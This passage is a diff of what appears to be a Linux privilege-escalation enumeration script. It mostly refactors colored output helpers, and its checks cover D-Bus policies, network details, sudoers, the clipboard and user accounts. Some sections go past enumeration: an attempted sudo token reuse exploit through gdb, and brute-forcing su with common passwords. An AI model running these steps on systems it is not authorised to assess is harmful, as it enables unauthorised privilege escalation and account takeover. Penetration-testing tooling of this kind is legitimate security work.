"s,$USER,${C}[1;95m&${C}[0m,g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed -${E} "s,$idB,${SED_RED},g" echo "$socketcurl" fi done echo "" #-- PSC) Writable and weak policies in D-Bus config files - printf $Y"[+] "$GREEN"D-Bus config files\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#d-bus\n"$NC - dbusfols=$(echo "$FIND_DIR_ETC" | grep -E '/dbus-1/system.d|/dbus-1/session.d') - if [ "$dbusfols" ]; then - printf "%s\n" "$dbusfols" | while read d; do + print_2title "D-Bus config files" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#d-bus" + if [ "$PSTORAGE_DBUS" ]; then + printf "%s\n" "$PSTORAGE_DBUS" | while read d; do for f in $d/*; do - if [ -w "$f" ]; then - echo "Writable $f" | sed -${E} "s,.*,${C}[1;31m&${C}[0m,g" + if ! [ "$IAMROOT" ] && [ -w "$f" ]; then + echo "Writable $f" | sed -${E} "s,.*,${SED_RED},g" fi genpol=`grep "" "$f" 2>/dev/null` - if [ "$genpol" ]; then printf "Weak general policy found on $f ($genpol)\n" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m,g" | sed "s,$USER,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$nosh_usrs,${C}[1;34m&${C}[0m,g" | sed -${E} "s,$mygroups,${C}[1;31m&${C}[0m,g"; fi - #if [ "`grep \"\" \"$f\" 2>/dev/null`" ]; then printf "Possible weak user policy found on $f () \n" | sed "s,$USER,${C}[1;31m&${C}[0m,g"; fi - + if [ "$genpol" ]; then printf "Weak general policy found on $f ($genpol)\n" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m,g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi + #if [ "`grep \"\" \"$f\" 2>/dev/null`" ]; then printf "Possible weak user policy found on $f () \n" | sed "s,$USER,${SED_RED},g"; fi + userpol=`grep "/dev/null | grep -v "root"` - if [ "$userpol" ]; then printf "Possible weak user policy found on $f ($userpol)\n" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m,g" | sed "s,$USER,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$nosh_usrs,${C}[1;34m&${C}[0m,g" | sed -${E} "s,$mygroups,${C}[1;31m&${C}[0m,g"; fi + if [ "$userpol" ]; then printf "Possible weak user policy found on $f ($userpol)\n" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m,g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi #for g in `groups`; do - # if [ "`grep \"\" \"$f\" 2>/dev/null`" ]; then printf "Possible weak group ($g) policy found on $f\n" | sed "s,$g,${C}[1;31m&${C}[0m,g"; fi + # if [ "`grep \"\" \"$f\" 2>/dev/null`" ]; then printf "Possible weak group ($g) policy found on $f\n" | sed "s,$g,${SED_RED},g"; fi #done - grppol=`grep "/dev/null | grep -v "root"` - if [ "$grppol" ]; then printf "Possible weak user policy found on $f ($grppol)\n" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m,g" | sed "s,$USER,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$nosh_usrs,${C}[1;34m&${C}[0m,g" | sed -${E} "s,$mygroups,${C}[1;31m&${C}[0m,g"; fi + grppol=`grep "/dev/null | grep -v "root"` + if [ "$grppol" ]; then printf "Possible weak user policy found on $f ($grppol)\n" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m,g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi #TODO: identify allows in context="default" done @@ -1592,17 +1677,17 @@ if [ "`echo $CHECKS | grep ProCronSrvcsTmrsSocks`" ]; then fi echo "" - printf $Y"[+] "$GREEN"D-Bus Service Objects list\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#d-bus\n"$NC + print_2title "D-Bus Service Objects list" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#d-bus" dbuslist=$(busctl list 2>/dev/null) if [ "$dbuslist" ]; then busctl list | while read line; do - echo "$line" | sed -${E} "s,$dbuslistG,${C}[1;32m&${C}[0m,g"; + echo "$line" | sed -${E} "s,$dbuslistG,${SED_GREEN},g"; if [ ! "`echo \"$line\" | grep -E \"$dbuslistG\"`" ]; then srvc_object=`echo $line | cut -d " " -f1` srvc_object_info=`busctl status "$srvc_object" 2>/dev/null | grep -E "^UID|^EUID|^OwnerUID" | tr '\n' ' '` if [ "$srvc_object_info" ]; then - echo " -- $srvc_object_info" | sed "s,UID=0,${C}[1;31m&${C}[0m," + echo " -- $srvc_object_info" | sed "s,UID=0,${SED_RED}," fi fi done @@ -1620,55 +1705,55 @@ if [ "`echo $CHECKS | grep Net`" ]; then ########################################### #---------) Network Information (---------# ########################################### - printf $B"═══════════════════════════════════╣ "$GREEN"Network Information"$B" ╠════════════════════════════════════\n"$NC + print_title "Network Information" #-- NI) Hostname, hosts and DNS - printf $Y"[+] "$GREEN"Hostname, hosts and DNS\n"$NC + print_2title "Hostname, hosts and DNS" cat /etc/hostname /etc/hosts /etc/resolv.conf 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null - dnsdomainname 2>/dev/null || echo_not_found "dnsdomainname" + dnsdomainname 2>/dev/null || echo_not_found "dnsdomainname" echo "" #-- NI) /etc/inetd.conf - printf $Y"[+] "$GREEN"Content of /etc/inetd.conf & /etc/xinetd.conf\n"$NC - (cat /etc/inetd.conf /etc/xinetd.conf 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null) || echo_not_found "/etc/inetd.conf" + print_2title "Content of /etc/inetd.conf & /etc/xinetd.conf" + (cat /etc/inetd.conf /etc/xinetd.conf 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null) || echo_not_found "/etc/inetd.conf" echo "" #-- NI) Interfaces - printf $Y"[+] "$GREEN"Interfaces\n"$NC + print_2title "Interfaces" cat /etc/networks 2>/dev/null (ifconfig || ip a) 2>/dev/null echo "" #-- NI) Neighbours - printf $Y"[+] "$GREEN"Networks and neighbours\n"$NC + print_2title "Networks and neighbours" (route || ip n || cat /proc/net/route) 2>/dev/null (arp -e || arp -a || cat /proc/net/arp) 2>/dev/null echo "" #-- NI) Iptables - printf $Y"[+] "$GREEN"Iptables rules\n"$NC + print_2title "Iptables rules" (timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null) 2>/dev/null || echo_not_found "iptables rules" echo "" #-- NI) Ports - printf $Y"[+] "$GREEN"Active Ports\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports\n"$NC - ((netstat -punta || ss -ntpu || (netstat -a -p tcp && netstat -a -p udp)) | grep -i listen) 2>/dev/null | sed -${E} "s,127.0.[0-9]+.[0-9]+,${C}[1;31m&${C}[0m," + print_2title "Active Ports" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports" + ((netstat -punta || ss -ntpu || (netstat -a -p tcp && netstat -a -p udp)) | grep -i listen) 2>/dev/null | sed -${E} "s,127.0.[0-9]+.[0-9]+,${SED_RED}," echo "" #-- NI) tcpdump - printf $Y"[+] "$GREEN"Can I sniff with tcpdump?\n"$NC + print_2title "Can I sniff with tcpdump?" timeout 1 tcpdump >/dev/null 2>&1 if [ $? -eq 124 ]; then #If 124, then timed out == It worked - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#sniffing\n"$NC - echo "You can sniff with tcpdump!" | sed -${E} "s,.*,${C}[1;31m&${C}[0m," + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sniffing" + echo "You can sniff with tcpdump!" | sed -${E} "s,.*,${SED_RED}," else echo_no fi echo "" #-- NI) Internet access if ! [ "$SUPERFAST" ] && ! [ "$FAST" ] && ! [ "$NOTEXPORT" ] && [ "$TIMEOUT" ] && [ -f "/bin/bash" ]; then - printf $Y"[+] "$GREEN"Internet Access?\n"$NC + print_2title "Internet Access?" check_tcp_80 2>/dev/null & check_tcp_443 2>/dev/null & check_icmp 2>/dev/null & @@ -1685,16 +1770,16 @@ if [ "`echo $CHECKS | grep UsrI`" ]; then ########################################### #----------) Users Information (----------# ########################################### - printf $B"════════════════════════════════════╣ "$GREEN"Users Information"$B" ╠════════════════════════════════════\n"$NC + print_title "Users Information" #-- UI) My user - printf $Y"[+] "$GREEN"My user\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#users\n"$NC - (id || (whoami && groups)) 2>/dev/null | sed -${E} "s,$groupsB,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$groupsVB,${C}[1;31;103m&${C}[0m,g" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m,g" | sed "s,$USER,${C}[1;95m&${C}[0m,g" | sed -${E} "s,$nosh_usrs,${C}[1;34m&${C}[0m,g" | sed -${E} "s,$knw_usrs,${C}[1;32m&${C}[0m,g" | sed "s,root,${C}[1;31m&${C}[0m," | sed -${E} "s,$knw_grps,${C}[1;32m&${C}[0m,g" | sed -${E} "s,$idB,${C}[1;31m&${C}[0m,g" + print_2title "My user" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#users" + (id || (whoami && groups)) 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m,g" | sed "s,$USER,${C}[1;95m&${C}[0m,g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed -${E} "s,$idB,${SED_RED},g" echo "" #-- UI) PGP keys? - printf $Y"[+] "$GREEN"Do I have PGP keys?\n"$NC + print_2title "Do I have PGP keys?" command -v gpg 2>/dev/null || echo_not_found "gpg" gpg --list-keys 2>/dev/null command -v netpgpkeys 2>/dev/null || echo_not_found "netpgpkeys" @@ -1703,46 +1788,46 @@ if [ "`echo $CHECKS | grep UsrI`" ]; then echo "" #-- UI) Clipboard and highlighted text - printf $Y"[+] "$GREEN"Clipboard or highlighted text?\n"$NC + print_2title "Clipboard or highlighted text?" if [ `command -v xclip 2>/dev/null` ]; then - echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` | sed -${E} "s,$pwd_inside_history,${C}[1;31m&${C}[0m," - echo "Highlighted text: "`xclip -o 2>/dev/null` | sed -${E} "s,$pwd_inside_history,${C}[1;31m&${C}[0m," + echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` | sed -${E} "s,$pwd_inside_history,${SED_RED}," + echo "Highlighted text: "`xclip -o 2>/dev/null` | sed -${E} "s,$pwd_inside_history,${SED_RED}," elif [ `command -v xsel 2>/dev/null` ]; then - echo "Clipboard: "`xsel -ob 2>/dev/null` | sed -${E} "s,$pwd_inside_history,${C}[1;31m&${C}[0m," - echo "Highlighted text: "`xsel -o 2>/dev/null` | sed -${E} "s,$pwd_inside_history,${C}[1;31m&${C}[0m," + echo "Clipboard: "`xsel -ob 2>/dev/null` | sed -${E} "s,$pwd_inside_history,${SED_RED}," + echo "Highlighted text: "`xsel -o 2>/dev/null` | sed -${E} "s,$pwd_inside_history,${SED_RED}," else echo_not_found "xsel and xclip" fi echo "" #-- UI) Sudo -l - printf $Y"[+] "$GREEN"Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid\n"$NC - (echo '' | sudo -S -l | sed "s,_proxy,${C}[1;31m&${C}[0m,g" | sed "s,$sudoG,${C}[1;32m&${C}[0m,g" | sed -${E} "s,$sudoB,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$sudoVB,${C}[1;31;103m&${C}[0m," | sed "s,\!root,${C}[1;31m&${C}[0m,") 2>/dev/null || echo_not_found "sudo" + print_2title "Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid" + (echo '' | sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoB,${SED_RED},g" | sed -${E} "s,$sudoVB,${SED_RED_YELLOW}," | sed "s,\!root,${SED_RED},") 2>/dev/null || echo_not_found "sudo" if [ "$PASSWORD" ]; then - (echo "$PASSWORD" | sudo -S -l | sed "s,_proxy,${C}[1;31m&${C}[0m,g" | sed "s,$sudoG,${C}[1;32m&${C}[0m,g" | sed -${E} "s,$sudoB,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$sudoVB,${C}[1;31;103m&${C}[0m,") 2>/dev/null || echo_not_found "sudo" + (echo "$PASSWORD" | sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoB,${SED_RED},g" | sed -${E} "s,$sudoVB,${SED_RED_YELLOW},") 2>/dev/null || echo_not_found "sudo" fi - (cat /etc/sudoers | grep -v "^$" | grep -v "#" | sed "s,_proxy,${C}[1;31m&${C}[0m,g" | sed "s,$sudoG,${C}[1;32m&${C}[0m,g" | sed -${E} "s,$sudoB,${C}[1;31m&${C}[0m,g" | sed "s,pwfeedback,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$sudoVB,${C}[1;31;103m&${C}[0m,") 2>/dev/null || echo_not_found "/etc/sudoers" - if [ -w '/etc/sudoers.d/' ]; then - echo "You can create a file in /etc/sudoers.d/ and escalate privileges" | sed -${E} "s,.*,${C}[1;31;103m&${C}[0m," + (cat /etc/sudoers | grep -Iv "^$" | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" | sed -${E} "s,$sudoVB,${SED_RED_YELLOW},") 2>/dev/null || echo_not_found "/etc/sudoers" + if ! [ "$IAMROOT" ] && [ -w '/etc/sudoers.d/' ]; then + echo "You can create a file in /etc/sudoers.d/ and escalate privileges" | sed -${E} "s,.*,${SED_RED_YELLOW}," fi for filename in '/etc/sudoers.d/*'; do if [ -r "$filename" ]; then - echo "Sudoers file: $filename is readable" | sed -${E} "s,.*,${C}[1;31m&${C}[0m,g" - cat "$filename" | grep -v "^$" | grep -v "#" | sed "s,_proxy,${C}[1;31m&${C}[0m,g" | sed "s,$sudoG,${C}[1;32m&${C}[0m,g" | sed -${E} "s,$sudoB,${C}[1;31m&${C}[0m,g" | sed "s,pwfeedback,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$sudoVB,${C}[1;31;103m&${C}[0m," + echo "Sudoers file: $filename is readable" | sed -${E} "s,.*,${SED_RED},g" + cat "$filename" | grep -Iv "^$" | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" | sed -${E} "s,$sudoVB,${SED_RED_YELLOW}," fi done echo "" #-- UI) Sudo tokens - printf $Y"[+] "$GREEN"Checking sudo tokens\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#reusing-sudo-tokens\n"$NC + print_2title "Checking sudo tokens" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#reusing-sudo-tokens" ptrace_scope="`cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null`" - if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then echo "/proc/sys/kernel/yama/ptrace_scope is enabled (0)" | sed "s,0,${C}[1;31m&${C}[0m,g"; - else echo "/proc/sys/kernel/yama/ptrace_scope is not enabled ($ptrace_scope)" | sed "s,is not enabled,${C}[1;32m&${C}[0m,g"; + if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then echo "/proc/sys/kernel/yama/ptrace_scope is enabled (0)" | sed "s,0,${SED_RED},g"; + else echo "/proc/sys/kernel/yama/ptrace_scope is not enabled ($ptrace_scope)" | sed "s,is not enabled,${SED_GREEN},g"; fi is_gdb="`command -v gdb 2>/dev/null`" - if [ "$is_gdb" ]; then echo "gdb was found in PATH" | sed -${E} "s,.*,${C}[1;31m&${C}[0m,g"; - else echo "gdb wasn't found in PATH" | sed "s,gdb,${C}[1;32m&${C}[0m,g"; + if [ "$is_gdb" ]; then echo "gdb was found in PATH" | sed -${E} "s,.*,${SED_RED},g"; + else echo "gdb wasn't found in PATH" | sed "s,gdb,${SED_GREEN},g"; fi if [ ! "$SUPERFAST" ] && [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ] && [ "$is_gdb" ]; then echo "Checking for sudo tokens in other shells owned by current user" @@ -1752,37 +1837,37 @@ if [ "`echo $CHECKS | grep UsrI`" ]; then done if [ -f "/tmp/shrndom32r2r" ]; then rm /tmp/shrndom32r2r 2>/dev/null - echo "Sudo token reuse exploit worked! (see link)" | sed -${E} "s,.*,${C}[1;31;103m&${C}[0m,"; + echo "Sudo token reuse exploit worked! (see link)" | sed -${E} "s,.*,${SED_RED_YELLOW},"; else echo "The escalation didn't work... (try again later?)" fi fi echo "" #-- UI) Doas - printf $Y"[+] "$GREEN"Checking doas.conf\n"$NC - if [ "`cat /etc/doas.conf "$(dirname $(command -v doas) 2>/dev/null)/doas.conf" "$(dirname $(command -v doas) 2>/dev/null)/../etc/doas.conf" "$(dirname $(command -v doas) 2>/dev/null)/etc/doas.conf" 2>/dev/null`" ]; then cat /etc/doas.conf "$(dirname $(command -v doas))/doas.conf" "$(dirname $(command -v doas))/../etc/doas.conf" "$(dirname $(command -v doas))/etc/doas.conf" 2>/dev/null | sed -${E} "s,$sh_usrs,${C}[1;31m&${C}[0m," | sed "s,root,${C}[1;31m&${C}[0m," | sed "s,nopass,${C}[1;31m&${C}[0m," | sed -${E} "s,$nosh_usrs,${C}[1;34m&${C}[0m," | sed "s,$USER,${C}[1;31;103m&${C}[0m," + print_2title "Checking doas.conf" + if [ "`cat /etc/doas.conf "$(dirname $(command -v doas) 2>/dev/null)/doas.conf" "$(dirname $(command -v doas) 2>/dev/null)/../etc/doas.conf" "$(dirname $(command -v doas) 2>/dev/null)/etc/doas.conf" 2>/dev/null`" ]; then cat /etc/doas.conf "$(dirname $(command -v doas))/doas.conf" "$(dirname $(command -v doas))/../etc/doas.conf" "$(dirname $(command -v doas))/etc/doas.conf" 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_RED}," | sed "s,root,${SED_RED}," | sed "s,nopass,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,$USER,${SED_RED_YELLOW}," else echo_not_found "/etc/doas.conf" fi echo "" #-- UI) Pkexec policy - printf $Y"[+] "$GREEN"Checking Pkexec policy\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe#pe-method-2\n"$NC - (cat /etc/polkit-1/localauthority.conf.d/* 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null | sed -${E} "s,$groupsB,${C}[1;31m&${C}[0m," | sed -${E} "s,$groupsVB,${C}[1;31m&${C}[0m," | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed -${E} "s,$nosh_usrs,${C}[1;34m&${C}[0m," | sed "s,$USER,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$Groups,${C}[1;31;103m&${C}[0m,") || echo_not_found "/etc/polkit-1/localauthority.conf.d" + print_2title "Checking Pkexec policy" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe#pe-method-2" + (cat /etc/polkit-1/localauthority.conf.d/* 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED}," | sed -${E} "s,$groupsVB,${SED_RED}," | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,$USER,${SED_RED_YELLOW}," | sed -${E} "s,$Groups,${SED_RED_YELLOW},") || echo_not_found "/etc/polkit-1/localauthority.conf.d" echo "" #-- UI) Superusers - printf $Y"[+] "$GREEN"Superusers\n"$NC - awk -F: '($3 == "0") {print}' /etc/passwd 2>/dev/null | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed -${E} "s,$nosh_usrs,${C}[1;34m&${C}[0m," | sed -${E} "s,$knw_usrs,${C}[1;32m&${C}[0m," | sed "s,$USER,${C}[1;31;103m&${C}[0m," | sed "s,root,${C}[1;31m&${C}[0m," + print_2title "Superusers" + awk -F: '($3 == "0") {print}' /etc/passwd 2>/dev/null | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED_YELLOW}," | sed "s,root,${SED_RED}," echo "" #-- UI) Users with console - printf $Y"[+] "$GREEN"Users with console\n"$NC + print_2title "Users with console" if [ "$MACPEAS" ]; then dscl . list /Users | while read uname; do ushell=`dscl . -read "/Users/$uname" UserShell | cut -d " " -f2` if [ "`grep \"$ushell\" /etc/shells`" ]; then #Shell user - dscl . -read "/Users/$uname" UserShell RealName RecordName Password NFSHomeDirectory 2>/dev/null | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed "s,root,${C}[1;31m&${C}[0m," + dscl . -read "/Users/$uname" UserShell RealName RecordName Password NFSHomeDirectory 2>/dev/null | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed "s,root,${SED_RED}," echo "" fi done @@ -1790,17 +1875,17 @@ if [ "`echo $CHECKS | grep UsrI`" ]; then no_shells="`cat /etc/passwd 2>/dev/null | grep -Ev "sh$" | cut -d ":" -f 7 | sort | uniq`" unexpected_shells="" printf "%s\n" "$no_shells" | while read f; do - if [ "`$f -c 'whoami' 2>/dev/null | grep \"$USER\"`" ]; then + if [ "`$f -c 'whoami' 2>/dev/null | grep \"$USER\"`" ]; then unexpected_shells="$f\n$unexpected_shells" fi done - cat /etc/passwd 2>/dev/null | grep "sh$" | sort | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed "s,root,${C}[1;31m&${C}[0m," + cat /etc/passwd 2>/dev/null | grep "sh$" | sort | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed "s,root,${SED_RED}," if [ "$unexpected_shells" ]; then - echo "These unexpected binaries are acting like shells:\n$unexpected_shells" | sed -${E} "s,/.*,${C}[1;31m&${C}[0m,g" + echo "These unexpected binaries are acting like shells:\n$unexpected_shells" | sed -${E} "s,/.*,${SED_RED},g" echo "Unexpected users with shells:" printf "%s\n" "$unexpected_shells" | while read f; do if [ "$f" ]; then - grep -E "${f}$" /etc/passwd | sed -${E} "s,/.*,${C}[1;31m&${C}[0m,g" + grep -E "${f}$" /etc/passwd | sed -${E} "s,/.*,${SED_RED},g" fi done fi @@ -1808,38 +1893,38 @@ if [ "`echo $CHECKS | grep UsrI`" ]; then echo "" #-- UI) All users & groups - printf $Y"[+] "$GREEN"All users & groups\n"$NC + print_2title "All users & groups" if [ "$MACPEAS" ]; then - dscl . list /Users | while read i; do id $i;done 2>/dev/null | sort | sed -${E} "s,$groupsB,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$groupsVB,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m,g" | sed "s,$USER,${C}[1;95m&${C}[0m,g" | sed -${E} "s,$nosh_usrs,${C}[1;34m&${C}[0m,g" | sed -${E} "s,$knw_usrs,${C}[1;32m&${C}[0m,g" | sed "s,root,${C}[1;31m&${C}[0m," | sed -${E} "s,$knw_grps,${C}[1;32m&${C}[0m,g" + dscl . list /Users | while read i; do id $i;done 2>/dev/null | sort | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m,g" | sed "s,$USER,${C}[1;95m&${C}[0m,g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" else - cut -d":" -f1 /etc/passwd 2>/dev/null| while read i; do id $i;done 2>/dev/null | sort | sed -${E} "s,$groupsB,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$groupsVB,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m,g" | sed "s,$USER,${C}[1;95m&${C}[0m,g" | sed -${E} "s,$nosh_usrs,${C}[1;34m&${C}[0m,g" | sed -${E} "s,$knw_usrs,${C}[1;32m&${C}[0m,g" | sed "s,root,${C}[1;31m&${C}[0m," | sed -${E} "s,$knw_grps,${C}[1;32m&${C}[0m,g" + cut -d":" -f1 /etc/passwd 2>/dev/null| while read i; do id $i;done 2>/dev/null | sort | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m,g" | sed "s,$USER,${C}[1;95m&${C}[0m,g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" fi echo "" #-- UI) Login now - printf $Y"[+] "$GREEN"Login now\n"$NC - (w || who || users) 2>/dev/null | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed -${E} "s,$nosh_usrs,${C}[1;34m&${C}[0m," | sed -${E} "s,$knw_usrs,${C}[1;32m&${C}[0m," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed "s,root,${C}[1;31m&${C}[0m," + print_2title "Login now" + (w || who || users) 2>/dev/null | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed "s,root,${SED_RED}," echo "" #-- UI) Last logons - printf $Y"[+] "$GREEN"Last logons\n"$NC - (last -Faiw || last) 2>/dev/null | tail | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed -${E} "s,$nosh_usrs,${C}[1;31m&${C}[0m," | sed -${E} "s,$knw_usrs,${C}[1;32m&${C}[0m," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed "s,root,${C}[1;31m&${C}[0m," + print_2title "Last logons" + (last -Faiw || last) 2>/dev/null | tail | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed -${E} "s,$nosh_usrs,${SED_RED}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed "s,root,${SED_RED}," echo "" #-- UI) Login info - printf $Y"[+] "$GREEN"Last time logon each user\n"$NC - lastlog 2>/dev/null | grep -v "Never" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed -${E} "s,$nosh_usrs,${C}[1;34m&${C}[0m," | sed -${E} "s,$knw_usrs,${C}[1;32m&${C}[0m," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed "s,root,${C}[1;31m&${C}[0m," + print_2title "Last time logon each user" + lastlog 2>/dev/null | grep -v "Never" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed "s,root,${SED_RED}," echo "" #-- UI) Password policy - printf $Y"[+] "$GREEN"Password policy\n"$NC + print_2title "Password policy" grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs 2>/dev/null || echo_not_found "/etc/login.defs" echo "" #-- UI) Brute su EXISTS_SUDO="`command -v sudo 2>/dev/null`" if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ] && ! [ "$IAMROOT" ] && [ "$EXISTS_SUDO" ]; then - printf $Y"[+] "$GREEN"Testing 'su' as other users with shell using as passwords: null pwd, the username and top2000pwds\n"$NC + print_2title "Testing 'su' as other users with shell using as passwords: null pwd, the username and top2000pwds\n"$NC POSSIBE_SU_BRUTE=`check_if_su_brute`; if [ "$POSSIBE_SU_BRUTE" ]; then SHELLUSERS=`cat /etc/passwd 2>/dev/null | grep -i "sh$" | cut -d ":" -f 1` @@ -1851,9 +1936,9 @@ if [ "`echo $CHECKS | grep UsrI`" ]; then printf $GREEN"It's not possible to brute-force su.\n\n"$NC fi else - printf $Y"[+] "$GREEN"Do not forget to test 'su' as any other user with shell: without password and with their names as password (I 